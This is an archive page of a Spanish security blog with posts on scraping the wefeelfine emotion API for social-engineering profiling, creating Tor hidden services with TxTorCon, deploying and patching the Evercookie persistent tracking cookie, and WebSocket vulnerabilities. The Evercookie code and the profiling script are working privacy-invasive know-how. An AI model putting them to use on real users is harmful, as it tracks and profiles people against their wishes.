Archivo

Archive for the ‘Web Applications’ Category

Registro y análisis de emociones con Wefeelfine – Ingeniería social automatizada

diciembre 9, 2014 1 comentario

El campo de la psicología y todo lo relacionado con los fenómenos socio-culturales siempre me han parecido muy interesantes en los que creo que hay mucho por hacer, especialmente desde el punto de vista de la informática, ya que estamos hablando de un campo del conocimiento que aun no ha alcanzado el grado madurez que tienen otros campos del conocimiento humano. No obstante, existen muchos documentos y herramientas que permiten comprender mejor la naturaleza de las emociones humanas y la forma en la que pueden afectar el comportamiento de una persona. La ingeniería social es una de dichas herramientas y se basa en una serie de principios generales que son transculturales y que suelen aplicar a un porcentaje de la población bastante alto, sin embargo su enfoque, como seguramente ya lo sabes, consiste principalmente en detectar las vulnerabilidades que pueda tener una persona en varios niveles, así como también para la detección del engaño. Los ingenieros sociales suelen conocer bastante bien los principales rasgos psicológicos y culturales de las personas con las que tratan, tal es su conocimiento sobre el comportamiento y la psique humana que son capaces de “cambiar” su modo de hablar, de expresarse y de transmitir ideas a las personas con las que se comunican con el fin de generar un sentimiento de confianza y conexión a su interlocutor. Se trata de una habilidad que en muchas ocasiones es innata en una persona, es simplemente su forma de ser y suelen generar un ambiente amigable y jovial allí donde vayan. Muchas personas son así por naturaleza, inmediatamente nos generan sentimientos agradables y nos sentimos más relajados y dispuestos a transmitir información. Los mejores ingenieros sociales son aquellos no fuerzan las cosas y que con una habilidad asombrosa controlan el flujo de los acontecimientos y las conversaciones, dando lugar a situaciones que les resultan favorables y muy ventajosas. Si bien suelen ser habilidades que son innatas en la mayoría de ingenieros sociales, no significa que no puedan ser desarrolladas comprendiendo cada uno los puntos vitales del Social Engineering Framework, solamente hace falta practica y mucha paciencia, pero al hablar de practica, no me refiero a utilizar SET desde casa y crear el típico Applet malicioso, me refiero a hablar con la gente que te rodea y tratar de conocer su “mindset” o conjunto de habilidades, características y rasgos psicológicos.

Ahora bien, como resulta evidente, las emociones juegan un papel central cuando hablamos de relaciones humanas. Lo que sentimos por otras personas impactan directamente en nuestro comportamiento y además, con el tremendo auge de las redes sociales, parece ser que hoy en día todo el mundo se siente mucho más a gusto expresando lo que piensan o sienten en Facebook, Twitter o otro cualquier sitio en Internet como blogs o foros que hablando personalmente con la gente. Es algo que siempre me ha parecido de lo más curioso y desde hace varios años, aprovechando la abrumadora cantidad de frases cargadas con diferentes tipos de sentimientos de personas que escriben en Internet, se ha creado un proyecto que desde mi punto de vista es uno de los mejores proyectos informáticos relacionados con el estudio y categorización de las emociones humanas, se trata de wefeelfine.org

Wefeelfine es una plataforma muy completa que se encarga de analizar blogs, foros, redes sociales con perfiles públicos y otros tipos de espacios personales en los que las personas transmiten sus ideas y se expresan, se trata de una herramienta de exploración de emociones a escala global. Además de recolectar información, su plataforma puede ser consultada en cualquier momento y admite varios tipos de filtros relacionados con el genero de las personas, edad, ciudad, o incluso una serie de emociones muy concretas, tal como se puede apreciar en las siguientes imágenes.

feeling1

Nube de sentimientos recolectados por wefeelfine.org

feeling2

Aplicando los filtros: Sentimiento=tense, Genero=Femenino, Edad=Entre 30 y 39 años, Condiciones climáticas=Todas, País=España, Fechas=Todas

Por otro lado, cuenta con varias vistas que permiten visualizar la información de la forma en la que resulte más cómoda para el usuario, tal como se indica en el apartado “movements”: http://wefeelfine.org/movements.html

Personalmente, la característica que me parece más interesante de la plataforma son los servicios REST que se encuentran definidos para que cualquier desarrollador pueda consultarlos. La API para poder invocar a dichos servicios de forma correcta se encuentra definida en el siguiente enlace: http://www.wefeelfine.org/api.html y no requiere ningún tipo de autenticación y/o autorización, son servicios abiertos que cualquiera puede utilizar en un momento dado.

Tal como se aprecia en la siguiente imagen, es posible utilizar un navegador web para invocar a cualquiera de los servicios disponibles e inspeccionar la respuesta para ver los datos que ha devuelto.

feeling3

Invocación a la API de wefeelfine desde un navegador web

Ahora bien, lo más común es crear rutinas que invoquen a dichos servicios para automatizar el proceso de consulta y en ese sentido, es posible utilizar cualquier lenguaje de programación ya que solamente es necesario realizar una petición HTTP y parsear la respuesta. El siguiente script es un buen ejemplo del uso de Python para consultar y parsear algunos de los servicios disponibles en la API de wefeelfine.

import requests 
from bs4 import BeautifulSoup 
def search(api, text): 
    response = requests.get(api) 
    soup = BeautifulSoup(response.content, 'lxml') 
    feelings = soup.feelings.find_all("feeling") 
    print text 
    for feeling in feelings: 
        if feeling.has_key("feeling"): 
            print "[*] Sentimiento: %s " %(feeling['feeling']) 
        if feeling.has_key("sentence"): 
            print "[*] Sentencia: %s " %(feeling['sentence'])                
        if feeling.has_key("postdate"): 
            print "[*] Fecha: %s " %(feeling['postdate'])                
        if feeling.has_key("posturl"): 
            print "[*] URL Origen: %s " %(feeling['posturl'])                
        print "\n" 
search("http://api.wefeelfine.org:8080/ShowFeelings?display=xml&returnfields=imageid,feeling,sentence,posttime,postdate,posturl,gender,born,country,state,city,lat,lon,conditions&limit=10","[*] Consultando los ultimos 10 sentimientos registrados") 


search("http://api.wefeelfine.org:8080/ShowFeelings?display=xml&returnfields=imageid,feeling,sentence,posttime,postdate,posturl,gender,born,country,state,city,lat,lon,conditions&feeling=sad&city=madrid&limit=10&gender=female", "[*] Consultando los ultimos 10 sentimientos registrados de personas con genero 'femenino' que se sienten 'felices'") 

La función “search” es la que se encarga de utilizar la librería “requests” para ejecutar una petición HTTP contra el servicio REST indicado y parsear la respuesta utilizando la librería BeautifulSoup, la cual se encuentra en formato XML.

Es un script muy simple y que refleja la cantidad de información que se puede extraer de la plataforma. Aunque muchos de los sentimientos registrados se encuentran en ingles, los sentimientos expresados en castellano en blogs, redes sociales y cualquier otro sitio web en Internet, quedan prácticamente excluidos de la plataforma, ¿Acaso os estoy dando ideas para un próximo proyecto? ;-).
Es una plataforma muy interesante y el estudio realizado por los investigadores que han montado la plataforma es simplemente brillante y para aquellas personas a las que nos interesan los temas relacionados con la informática, el hacking y las ciencias humanas como la filosofía y la psicología, puede resultar muy entretenido. Os recomiendo su lectura: http://wefeelfine.org/wefeelfine.pdf

Un Saludo y Happy Hack!

Creando sitios ocultos en TOR de forma programática con TxTorCon

diciembre 4, 2014 1 comentario

Anteriormente he hablado sobre el uso de Stem para controlar instancias de TOR, una potente librería que no solamente se aprovecha del protocolo de control de TOR para la administración remota de una instancia en ejecución, sino que también cuenta con algunas utilidades para arrancar una nueva instancia con configuración personalizada, descargar y parsear los descriptores emitidos por las autoridades de directorio, entre muchas otras funcionalidades útiles. Es una librería que se explota bastante bien en Tortazo, una de las herramientas que he escrito para realizar pruebas de penetración contra repetidores de salida y servicios ocultos en la red de TOR.
Aunque Stem es una librería muy potente, existen otras alternativas que cuentan con las mismas capacidades y en esta ocasión, voy a hablar sobre TXTORCON.

¿Por qué TxTorCon? Porqué se trata de una implementación del protocolo de control de TOR basada en Twisted y a diferencia de Stem, TxTorCon es una implementación asíncrona. Una librería como TxTorCon permitirá crear programas reactivos que se encargarán de ejecutar acciones sobre una o varias instancias de TOR ante una lista de eventos predefinidos.

En esta entrada se verá cómo se puede utilizar TxTorCon para crear servicios ocultos en TOR de forma programática y aunque lo que se verá a continuación también se puede hacer con Stem, se trata de un ejercicio practico muy interesante que servirá para conocer los elementos básicos y la “metodología” que se debe seguir cuando se programa con esta librería.

Antes de continuar, se recomienda al lector tener claros los conceptos básicos sobre la configuración de una instancia de TOR y conocer bastante bien las propiedades admitidas en el fichero “torrc”, aunque crear un servicio oculto no es una tarea compleja ya que solamente es necesario definir la opción de configuración “HiddenService” en el fichero de configuración “torrc” tantas veces como servicios ocultos se desee crear, lo que si que puede ser complicado es mantener el servicio oculto correctamente securizado, pero eso es un tema del que se hablará en un próximo artículo.

En primer lugar, es importante conocer el uso de la clase “txtorcon.TorConfig” ya que en dicha clase es donde definen todos los elementos de configuración de una instancia de TOR y dicho elemento puede ser utilizado para levantar la instancia de forma programática utilizando TxTorCon.

import txtorcon
config = txtorcon.TorConfig()
config.SOCKSPort = 9051
config.ORPort = 4443
…..
config.save()

La clase “txtorcon.TorConfig” maneja un diccionario interno con las propiedades que se pueden definir en un fichero de configuración de TOR, con lo cual el programador debe definir cada propiedad como un atributo de instancia.

Ahora bien, para definir uno o varios servicios ocultos, es necesario crear un listado de instancias de la clase “txtorcon.HiddenService”. Dicho listado se almacenará en la variable “HiddenServices” de la instancia de “txtorcon.TorConfig” creada previamente.
La siguiente función servirá para definir los detalles de configuración básicos para iniciar una instancia de TOR con un servicio oculto.

import txtorcon
import functools
import tempfile
import os
from twisted.internet import reactor 

def createTemporal():
    tempDir = tempfile.mkdtemp(prefix='torhiddenservice')
    reactor.addSystemEventTrigger('before', 'shutdown',
functools.partial(txtorcon.util.delete_file_or_tree, tempDir))
    return tempDir 

def configuration(hiddenserviceDir, serviceInterface,
servicePort=8080, hiddenservicePort=80):
    if hiddenserviceDir is None:
        print "[+] HiddenServiceDir not specified... Generating
a temporal file."
        hiddenserviceDir = createTemporal()
    if os.path.exists(hiddenserviceDir) == False:
        print "[+] The HiddenServiceDir specified does not
exists... Generating a temporal file."
        hiddenserviceDir = createTemporal()
    config = txtorcon.TorConfig()
    config.SOCKSPort = 9051
    config.ORPort = 4443
    config.HiddenServices = [txtorcon.HiddenService(config,
hiddenserviceDir, ["%s %s:%s" %(str(hiddenservicePort),
serviceInterface, str(servicePort))] )]
    config.save()
    return config 

configuration('/home/adastra/Escritorio/django-hiddenservice',
'127.0.0.1')

La función “configuration” se encarga de recibir como argumento todos los elementos necesarios para establecer un servicio oculto en la configuración definida en el objeto “txtorcon.TorConfig” y posteriormente dicho objeto es retornado. Por otro lado, la función “createTemporal” es invocada internamente por la función “configuration” con el fin de devolver un directorio temporal para el servicio oculto en el caso de que el directorio indicado por parámetro sea invalido.

Ahora que la configuración se encuentra preparada, el siguiente paso consiste en utilizarla para iniciar la instancia de TOR en cuestión.

import txtorcon
import functools
import tempfile
import os
from twisted.internet import reactor 

def createTemporal():
    tempDir = tempfile.mkdtemp(prefix='torhiddenservice')
    reactor.addSystemEventTrigger('before', 'shutdown',
functools.partial(txtorcon.util.delete_file_or_tree, tempDir))
    return tempDir 

def configuration(hiddenserviceDir, serviceInterface,
servicePort=8080, hiddenservicePort=80):
    if hiddenserviceDir is None:
        print "[+] HiddenServiceDir not specified... Generating a temporal file."
        hiddenserviceDir = createTemporal()
    if os.path.exists(hiddenserviceDir) == False:
        print "[+] The HiddenServiceDir specified does not exists... Generating a temporal file."
        hiddenserviceDir = createTemporal()
    config = txtorcon.TorConfig()
    config.SOCKSPort = 9051
    config.ORPort = 4443
    config.HiddenServices = [txtorcon.HiddenService(config,hiddenserviceDir, ["%s %s:%s" %(str(hiddenservicePort),serviceInterface, str(servicePort))] )]
    config.save()
    return config 

def updates(prog, tag, summary):
    print "%d%%: %s" % (prog, summary) 

def setup_complete(config, proto):
    print "TOR Instance started!" 

def setup_failed(arg):
    print "SETUP FAILED", arg
    reactor.stop() 

def startTor(config):
    d = txtorcon.launch_tor(config, reactor,progress_updates=updates)
    d.addCallback(functools.partial(setup_complete, config))
    d.addErrback(setup_failed)
    reactor.run()
torrc = configuration('/home/adastra/Escritorio/hidden_service_django','127.0.0.1')
startTor(torrc)

En esta nueva versión del script se ha incorporado la función “startTor”, la cual se encarga de utilizar la configuración retornada por la función “configuration” para iniciar TOR. Como se puede apreciar, dicha función emplea la utilidad “txtorcon.launch_tor” enviando como argumentos, la configuración de TOR, el reactor de Twisted y una función de callback para procesar cada uno de los eventos producidos durante proceso de inicio. Finalmente, se adicionan dos funciones más en el caso de que el proceso de arranque haya ido bien o en el caso de fallo.

Después de ejecutar el script anterior, se podrá ver por consola algo muy similar a lo que se enseña en la siguiente imagen.

txtorcon1

El script puede parecer complejo pero tal como se ha explicado anteriormente, si se conoce el funcionamiento de Twisted y las funcionalidades básicas de TxTorCon, no resulta tan complicado de comprender.
Hasta este punto se asume que en la máquina local se encuentra un servicio levantado y esperando conexiones, más concretamente en el puerto “8080”. Evidentemente, dado el escenario anterior es necesario levantar un servidor web con Tomcat, una aplicación con Django o cualquier otro servicio en dicho puerto, pero dadas las características de Twisted, también es posible crear un servidor web simple directamente desde el script y de esta forma, se contará con una herramienta completamente funcional que puede levantar un servicio oculto sin depender de ningún programa externo (excepto el propio ejecutable de TOR).

import txtorcon
import functools
import tempfile
import os
from twisted.web import static, resource, server
from twisted.internet import reactor
from twisted.internet.endpoints import TCP4ServerEndpoint 

def createTemporal():
    tempDir = tempfile.mkdtemp(prefix='torhiddenservice')
    reactor.addSystemEventTrigger('before', 'shutdown',
functools.partial(txtorcon.util.delete_file_or_tree, tempDir))
    return tempDir 

def configuration(hiddenserviceDir, serviceInterface,
servicePort=8080, hiddenservicePort=80):
    if hiddenserviceDir is None:
        print "[+] HiddenServiceDir not specified... Generating a temporal file."
        hiddenserviceDir = createTemporal()
    if os.path.exists(hiddenserviceDir) == False:
        print "[+] The HiddenServiceDir specified does not exists... Generating a temporal file."
        hiddenserviceDir = createTemporal()
    config = txtorcon.TorConfig()
    config.SOCKSPort = 9051
    config.ORPort = 4443
    config.HiddenServices = [txtorcon.HiddenService(config,hiddenserviceDir, ["%s %s:%s" %(str(hiddenservicePort),serviceInterface, str(servicePort))] )]
    config.save()
    return config 

def updates(prog, tag, summary):
    print "%d%%: %s" % (prog, summary) 

def setup_complete(config, proto):
    print "TOR Instance started!" 

def setup_failed(arg):
    print "SETUP FAILED", arg
    reactor.stop() 

def startTor(config):
    #Starting a simple web site.
    root = static.File('/opt/WebSite')
    site = server.Site(root)
    hs_endpoint = TCP4ServerEndpoint(reactor, 8080,interface='127.0.0.1')
    hs_endpoint.listen(site)
    d = txtorcon.launch_tor(config, reactor,progress_updates=updates)
    d.addCallback(functools.partial(setup_complete, config))
    d.addErrback(setup_failed)
    reactor.run() 

torrc =configuration('/home/adastra/Escritorio/django-hiddenservice','127.0.0.1')
startTor(torrc)

El programa anterior solamente añade los elementos necesarios para declarar un servidor web cuyo directorio raíz es “/opt/WebSite”. Dicho servidor web se levantará en el puerto 8080 en la interfaz de red local, tal como se ha definido en la configuración del servicio oculto. Con todo esto, después de que la instancia de TOR se levante y se creen los ficheros correspondientes al dominio “onion” y a las claves del servicio, cualquier cliente que intente ingresar por dicha la dirección onion del servicio oculto, podrá ver los contenidos del servidor web que se ha iniciado utilizando Twisted. La siguiente imagen enseña algo muy similar a lo que el usuario final verá en su navegador.

txtorcon2

Como se puede apreciar, al acceder a la dirección onion del servicio oculto, se pueden visualizar los contenidos del directorio “/opt/WebSite”, que es el directorio que se ha indicado como raíz del servidor web.

Aunque aquí se ha enseñado como crear un servicio web en la red de TOR, también es posible crear cualquier otro tipo de servicio siguiendo exactamente la misma dinámica que se ha explicado aquí, como por ejemplo por un servidor SSH/SFTP con Paramiko, un servidor FTP o incluso un servidor SMB. Tienes a tu disposición muchas alternativas a la hora de automatizar la creación de servicios ocultos en la web profunda de TOR.

Un Saludo y Happy Hack!

Cookies persistentes para tracear la navegación de un usuario con EverCookie

diciembre 2, 2014 2 comentarios

Las cookies son un elemento de lo más común en las aplicaciones web actuales y seguramente el lector sabe perfectamente cómo funcionan, sin embargo, para aquellos que no lo saben, basta con comentar que las cookies son ficheros temporales que se almacenan en el navegador del cliente y permiten simplificar el proceso de identificación y posterior comunicación con una aplicación web. Dado que HTTP es un protocolo sin estado, el uso de las cookies es realmente útil para conservar información que ha intercambiado previamente entre cliente y servidor. Prácticamente todos los sitios web en Internet hacen uso de las cookies, sin embargo, la información que se almacena en las cookies puede ser utilizada para identificar y perfilar a un usuario. Con las cookies se puede identificar la navegación de un usuario por un sitio web y de esta forma, tracear las páginas que visita, conociendo sus intereses y otras características del usuario. Esto no es necesariamente algo negativo, de hecho, puede ser muy beneficioso para el usuario ya que de esta forma el sitio web puede conocer sus preferencias y de esta forma, actuar en consecuencia para ofrecerle los contenidos que más le puedan interesar. Por ejemplo, en el caso de una tienda online de ropa, se pueden utilizar las cookies para saber si el usuario ha ingresado previamente en el sitio web y si ese es el caso, presentar ofertas o productos personalizados dependiendo de las páginas que ha visitado. No obstante, cuando dicha información es compartida con otros sitios web ajenos, es cuando muy posiblemente se está violando la privacidad del usuario, ya que evidentemente no ha dado un consentimiento expreso de compartir con otros sitios web las páginas que ha visitado, la información que ha podido ingresar, etc. Esto es común en sitios web dedicados a la publicidad y el marketing, los cuales utilizan la información compartida por otros sitios web para perfilar gustos, afinidades y tendencias de los usuarios, así como identificarles.
Ahora bien, las cookies son elementos que se pueden eliminar muy fácilmente del navegador y en la mayoría de casos no representarán ningún problema, sin embargo, las cookies persistentes, a diferencia de las cookies tradicionales, utilizan múltiples espacios de almacenamiento en el cliente y de esta forma, resulta muy complicado eliminar toda la información que almacena una cookie de estas características del navegador. Para que el lector se haga una idea, una cookie persistente puede almacenar información en el espacio estándar de cookies, en el espacio de “websql” del navegador, en el espacio de almacenamiento local, global y de sesión, en cookies flash (objetos locales compartidos), en la cache del navegador, entre otros. Cuando el usuario elimina dichas cookies desde uno o varios de estos espacios, pero no de todos, el sitio web que ha implementado la cookie persistente es capaz de detectar que se ha intentado eliminar la información de la cookie uno o varios de dichos espacios de almacenamiento y se encarga de reestablecer los valores, revirtiendo la acción de borrado realizada por el usuario, es decir, el usuario tiene que eliminar la información de la cookie de todos los sitios donde se ha guardado y si le falta al menos uno por limpiar, dichos valores volverán a ser replicados en todas las zonas de almacenamiento.

Las cookies persistentes representan una forma muy agresiva de tracear la navegación de un usuario y una de las más conocidas es la que ha desarrollado el investigador Samy Kamkar (también conocido por el desarrollo del virus “Samy”) la cual recibe el nombre de “evercookie”.

Uso de Evercookie

Se trata de una API que cuenta con varios elementos que desde el punto de vista técnico resultan muy interesantes, pero que desde una perspectiva practica, se relacionan más con campañas de marketing agresivas y con el perfilado de los usuarios, actividades que suelen ser consideradas ilegales. Esta herramienta cuenta con una API en Javascript que permite crear cookies persistentes que a la fecha de redactar este artículo, se incluyen en las siguientes zonas del navegador del cliente.

- Cookies HTTP estándar.

- Objetos compartidos locales (Cookies Flash).

- Almacenamiento en Silverlight

- Almacenamiento de cookies en formato RGB usando la etiqueta “canvas” de HMTL5

- Múltiples ubicaciones de almacenamiento definidas en la especificación de HTML5 (Almacenamiento local, global, sesion, WebSQL con SQLite y WebSQL con IndexedDB).

- Almacenamiento persistente en JNLP PersistenceService.

Para utilizar esta librería se debe descargar desde el repositorio de GitHub ubicado en la siguiente ruta: https://github.com/samyk/evercookie y posteriormente, se puede comenzar a utilizar la API de Javascript que permite crear páginas web que insertan una cookie de evercookie en los clientes que acceden a dichas páginas.

En esta entrada voy a explicar cómo utilizar esta librería para crear cookies persistentes y vamos a ver algunas de las zonas en las que se almacenan las cookies que se van creando.

Después de descargar o clonar el proyecto desde el repositorio de GitHub, se debe crear un fichero HTML que será incluido en un servidor web como Apache.
En este caso concreto, con el objetivo de probar el funcionamiento de Evercookie, se ha creado un directorio llamado “test” en el directorio “htdocs” de un servidor web Apache y en dicho directorio se han incluido los siguientes recursos, los cuales son los que se han obtenido del proyecto de Evercookie.

evercookie1

El contenido inicial de la página “index.html” es el que se indica a continuación y como se puede apreciar, no solamente incluye el script “js/evercookie.js”, sino que también se hace uso de la API para crear y almacenar cookies persistentes.


<html> 

<head> 

    <script type="text/javascript"
src="js/swfobject-2.2.min.js"></script> 

    <script type="text/javascript"
src="js/evercookie.js"></script> 

    <script> 
    var ec = new evercookie({ 
    	baseurl: '/test', 
    	asseturi: '/assets', 
    	phpuri: '/php' 
    }); 
  ec.set("user", "adastra"); 
  ec.get("user", function(value) { alert("Cookie value is " + value) }); 
  function getCookie(best_candidate, all_candidates) 
  { 
    for (var item in all_candidates) 
      document.write("Storage mechanism " + item + 
        " returned " + all_candidates[item] + "
votes<br>"); 
    } 
    ec.get("user", getCookie); 
    </script> 
</head> 
<body> 
<h1>evercookie!</h1> 
</body> 
</html>

Lo primero que hace es crear un objeto del tipo “evercookie” indicando la URI del sitio web y la ubicación de los recursos necesarios para crear la cookie. Posteriormente, las funciones “set” y “get” permiten crear y recuperar un cookie respectivamente. Como se puede apreciar, la función “get” permite definir una función de callback que tratará el valor de una cookie que se ha guardado previamente con un identificador determinado.

Aunque el código puede parecer simple, en el momento de probar la librería he experimentado algunos problemas relacionados con la adición de capas en el árbol DOM de la página, ya que al parecer, cuando Evercookie se ejecuta sobre el navegador Chrome, Evercookie intenta añadir elementos al cuerpo de la página antes de que el árbol DOM se encuentre correctamente creado, lo cual da como resultado errores similares a los que se pueden ver en la siguiente imagen.

evercookie2

La solución a este problema pasa simplemente por realizar una verificación previa del árbol DOM antes de intentar insertar elementos en cualquier tag. Por ejemplo, en la linea 956 del fichero “js/evercookie.js” veremos el siguiente fragmento de código:

      if (append) { 
        document.body.appendChild(el); 
      }

Dado que en este punto el valor de “document.body” es “null”, la invocación a la función “appendChild” es invalida y produce un error. Es necesario realizar una validación previa antes de invocar a la función “appendChild”, algo tan simple como lo que se enseña a continuación será suficiente.

      if (append) { 
        if(document.body != null){
          document.body.appendChild(el); 
        }
      }

Después de corregir todos los errores que van saliendo y que están relacionados con el mismo problema que se ha explicado anteriormente, se puede apreciar como la cookie se crea en diferentes secciones del navegador.

evercookie3

Evercookie en el “Session Storage” del navegador

evercookie4

Evercookie en el “Local Storage” del navegador

evercookie5

Evercookie en la base de datos SQLite del navegador

Aunque se intente eliminar las cookies utilizando el procedimiento habitual de limpiar cache, formularios guardados, cookies, etc. Evercookie vuelve a crearse automáticamente en cada una de las zonas de almacenamiento indicadas anteriormente, convirtiéndola en un elemento difícil de remover del navegador web. Difícil, pero no imposible.
En un próximo articulo se hablará en detalle sobre las ubicaciones en las que se almacena evercookie y cómo eliminar una cookie persistente creada previamente. Por otro lado, también se hablará de implementaciones de evercookie en NodeJS y Django.

Un Saludo y Happy Hack!

Vulnerabilidades comunes en HTML5 – Conociendo el funcionamiento de los WebSockets – Parte 3

noviembre 11, 2014 Deja un comentario

Históricamente las aplicaciones web se han basado en un modelo cliente-servidor, donde el cliente siempre es el primero en iniciar la comunicación con el servidor. Con la llegada de AJAX, las peticiones podían hacerse de forma asíncrona y el cliente no necesariamente tenia que esperar la respuesta del servidor para poder continuar trabajando con la aplicación web, sin embargo la comunicación tenia que ser iniciada por el cliente y si por algún motivo, el servidor tenia nueva información que debía transferirse al cliente, era el cliente el que tenia que realizar las peticiones contra el servidor para recuperar la nueva información. Evidentemente, el hecho de que el servidor pueda comunicarse con el cliente para informar sobre cualquier “novedad”, es una característica que siempre ha resultado muy útil y pensando en ello, se han diseñado varias alternativas que funcionan sobre el protocolo HTTP, como por ejemplo Comet, Push o con el uso de conexiones HTTP persistentes. Con estas alternativas, el servidor puede enviar datos al cliente sin que el cliente tenga que iniciar una interacción, son técnicas que se utilizan actualmente en muchos servicios en Internet y en su día, GMail también lo hacia, sin embargo, mantener una conexión HTTP durante un largo periodo de tiempo es costoso y no es una muy buena idea en aplicaciones que deben tener una baja latencia. Es aquí donde HTML5 viene “al rescate” con los websockets.

Los websockets son una alternativa muy óptima al problema descrito en líneas anteriores, ya que permite crear conexiones TCP utilizando sockets entre el cliente (navegador) y el servidor. Como con cualquier socket TCP, ambas partes pueden transferir datos en cualquier momento y de esta forma el servidor podrá enviar información al cliente cuando sea necesario.

Uso de websockets en HTML5

Para abrir una conexión entre cliente y servidor utilizando websockets, ahora se utilizan los esquemas “ws://” en lugar de “http://” y “wss://” en lugar de https://. Además, el modelo de programación que debe utilizarse es basado en eventos, dichos eventos alertarán al cliente cuando se realice una conexión con el servidor, cuando ocurra un error, o cuando se reciba un mensaje por parte del servidor. Para crear un websocket, se debe ingresar la dirección del servidor web con el esquema “ws://” o “wss://” y especificar alguno de los subprotocolos soportados en la especificación de websockets (ver: http://www.iana.org/assignments/websocket/websocket.xml).

Después de abrir una conexión con el servidor, el cliente puede enviar mensajes con la función “send” que se encuentra definida en la referencia a la conexión creada anteriormente. Los datos que se pueden enviar pueden ser cadenas de texto o datos binarios representados con los objetos Blob o ArrayBuffer. Un ejemplo del uso de websockets desde el lado del cliente podría ser el siguiente.

var connection = new WebSocket('ws://html5rocks.websocket.org/echo', ['soap', 'xmpp']);
connection.onopen = function () {
  connection.send('Hello Server!'); // Send the message 'Ping' to the server
};

connection.onerror = function (error) {
  console.log('WebSocket Error ' + error);
};

connection.onmessage = function (e) {
  console.log('From Server: ' + e.data);
};

connection.send('Hello cutty server!');

var img = canvas_context.getImageData(0, 0, 200, 200);
var binary = new Uint8Array(img.data.length);
for (var i = 0; i < img.data.length; i++) {
  binary[i] = img.data[i];
}
connection.send(binary.buffer);

var file = document.querySelector('input[type="file"]').files[0];
connection.send(file);

En el ejemplo anterior se ha creado una conexión con el servidor utilizando la clase WebSocket, la cual se encuentra disponible en la mayoría de navegadores modernos. La instancia creada de dicho objeto es utilizada para declarar una serie de funciones de callback que serán invocadas cuando se produzcan diferentes tipos de eventos posibles.

Por otro lado, aunque se trata de una tecnología muy interesante y que se comienza a utilizar con mayor frecuencia en aplicaciones web, no obstante la principal dificultad a la hora de utilizar websockets, es la imposibilidad de establecer conexiones utilizando servidores proxy por medio y dado que en la mayoría de entornos empresariales, el uso de servidores proxy es bastante común, nos encontramos con una limitación que hay que tener en cuenta cuando se habla de utilizar WebSockets en aplicaciones web. La razón de esto, es que los WebSockets utilizan el valor “upgrade” para la cabecera “Connection” o directamente la cabecera “Upgrade” con el el valor “WebSocket” y dicho valor indica que la conexión que inicialmente se ha establecido utilizando HTTP, debe “actualizarse” para utilizar sockets del tipo TCP. Este tipo de cambios en las conexiones no son soportados por los servidores proxy del tipo HTTP, ya que están diseñados para trabajar con paquetes de datos que utilizan el protocolo HTTP, en este caso, la conexión es automáticamente cortada por el servidor. Para “mitigar” este problema existen varias soluciones, como por ejemplo el uso del proyecto Apache Camel (http://camel.apache.org) o mi favorita, el uso de “mod_proxy_wstunnel” (ver: http://httpd.apache.org/docs/2.4/mod/mod_proxy_wstunnel.html) sobre esta extensión de Apache os hablaré en una próxima entrada.

Hasta este punto se ha hablado del lado del cliente, sin embargo en el lado del servidor se requiere un cambio de enfoque muy importante, ya que ahora hablamos de que el servidor debe soportar múltiples conexiones abiertas al mismo tiempo, con el consecuente consumo de recursos que aquello implica, por éste y otros motivos, la mayoría de servidores web modernos soportan modelos “Non-bloquing IO” o lo que es lo mismo, varios grupos de hilos que se ejecutan de forma concurrente y asíncrona para el procesamiento de respuestas. Se trata de un modelo de arquitectura de software ampliamente aceptado y utilizado hoy en día, tanto en servidores como en sistemas operativos. Alguno de los servidores web que soportan estas características (sin ser una lista exhaustiva y basándome únicamente en los que he probado) se mencionan a continuación.

Apache Web Server 2.2 / 2.4 (http://httpd.apache.org/)

Jetty (http://www.eclipse.org/jetty/)

Apache Tomcat (http://tomcat.apache.org/)

JBoss (http://www.jboss.org/)

Socket.IO (http://socket.io/)

Pywebsocket para Apache web Server. (http://code.google.com/p/pywebsocket/)

Tornado (https://github.com/tornadoweb/tornado)

Vulnerabilidades comunes en el uso de websockets

Ahora que está claro qué son y para qué sirven los websockets, es el momento de hablar sobre las vulnerabilidades que se pueden producir cuando se implementan de forma indebida o con pocos controles sobre los datos intercambiados entre cliente y servidor. Estamos hablando de una tecnología joven, que si bien tiene un potencial enorme a la hora de crear aplicaciones web robustas, esto no es gratis y tiene sus riesgos. Algunos de dichos riesgos se explican a continuación.

Transporte no securizado y vulnerable a ataques MITM.

Como se ha mencionado anteriormente, los websockets funcionan utilizando el protocolo TCP, lo que habilita muchas posibilidades a la hora de realizar conexiones contra multitud de servicios, sin embargo si el canal de comunicación no se encuentra debidamente securizado, un ataque del tipo MITM puede comprometer todos los mensajes enviados entre cliente y servidor. Siempre es una buena practica utilizar el contexto “wss://” para establecer conexiones cifradas con TLS.

Los websockets no soportan autenticación ni autorización.

El protocolo de websockets no soporta los mecanismos tradicionales de autenticación y autorización. Es un asunto relacionado con la implementación propiamente dicha del protocolo y en el caso de que el cliente y el servidor intercambien información sensible, además de securizar el canal de comunicación utilizando TLS, también es recomendable utilizar mecanismos de autenticación basados en tokens/tickets. Dichos mecanismos son bastante populares en implementaciones REST, donde algunos servicios solamente pueden ser consumidos si el cliente cuenta con un token de autenticación valido y dicho token se vincula con el servidor por medio de una cuenta de usuario. Dicho patrón de autenticación se ha vuelto cada vez más popular y en aplicaciones que utilizan websockets que requieren mecanismos de control sobre los usuarios autenticados, es una excelente forma de mantener un control de acceso a recursos sensibles.

Validación en los datos de entrada

Aunque los websockets utilicen TCP para realizar las conexiones entre clientes y servidores, aun nos encontramos en el contexto de una aplicación web y es importante validar los datos de entrada de los usuarios. En el caso de no validar los campos de entrada adecuadamente, se pueden producir vulnerabilidades del tipo XSS aunque para la comunicación se ha un protocolo distinto a HTTP.

Vulnerabilidades Cross Site Request Foregy

Tal como se comentaba en un articulo anterior, las políticas de “same origin policy” que aplican cuando se trata de compartir recursos entre distintos dominios, ahora ya no son tan estrictas cuando se utiliza la cabecera HTTP “Origin”. Tal como se mencionaba en dicho articulo, se trata de una característica que está muy bien cuando se trata de compartir recursos con dominios “fiables” y cuando hablamos de relaciones de confianza en el mundo de la seguridad de la información, siempre pueden haber situaciones que le permiten a un atacante abusar de dichas condiciones.

Los websockets no están limitados a las restricciones de SOP, esto significa que un atacante puede iniciar una petición websocket desde su sitio web malicioso contra un endpoint (ws:// o wss://) de una aplicación web aunque no se encuentre en el mismo dominio. Esto tiene unas implicaciones tremendas, ya que el handshake que ejecutará el cliente para iniciar una petición WebSocket es una petición HTTP regular y los navegadores enviarán las cookies y cabeceras HTTP de autenticación aunque se trate de un dominio cruzado, si y sólo si, el servidor web no valida adecuadamente la cabecera “Origin”.
